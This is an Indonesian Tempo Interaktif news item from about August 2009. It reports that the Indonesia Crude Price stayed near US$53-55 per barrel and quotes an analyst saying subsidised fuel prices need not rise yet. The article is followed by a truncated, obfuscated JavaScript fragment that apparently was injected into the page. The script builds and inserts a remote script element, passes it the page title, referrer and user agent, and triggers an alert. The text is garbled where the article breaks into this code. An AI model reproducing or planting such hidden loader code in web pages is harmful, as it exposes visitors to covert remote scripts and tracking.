TEMPO Interaktif,
Jakarta – Harga Indonesia Crude Price atau ICP masih di kisaran US$ 53-55 per barel pada Januari hingga Juli tahun ini. Direktur Eksekutif Reforminer Institute Pri Agung Rahmanto mengatakan angka itu masih jauh di bawah asumsi minyak Anggaran Pendapatan dan Belanja Negara Perubahan 2009 sebessar US$ 60 per barel.
Harga keekonomian premium saat ini mencapai Rp 5.300 per liter. Sementara harga bahan bakar premium bersubsidi Rp 4.500 per liter. “Oleh karena itu, pemerintah belum perlu menaikkan harga bahan bakar minyak bersubsidi, meskipun harga minyak dunia terus naik,” ujarnya dalam pesan singkat kepada wartawan, Jumat (14/8).
Dari segi ketahanan APBN-P, ia menilai dana subsidi bahan bakar minyak masih aman. “Fluktuasi (kenaikan harga minyak) itu masih wajar karena aksi spekulan,” kata Pri Agung. “Selama tidak ada kondisi darurat, ya, tidak perlu naik.”
Harga minyak di New York Mercantile Exchange untuk kontrak bulan depan pada perdagangan, Kamis (13/8) waktu setempat, naik US$ 0,76 menjadi US$ 70,92 per barel. Sedangkan minyak jenis Brent naik US$ 0,91 menjadi US$ 73,80 per barel. International Energy Agency memperkirakan harga minyak akan terus menanjak hingga tahun depan.
6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}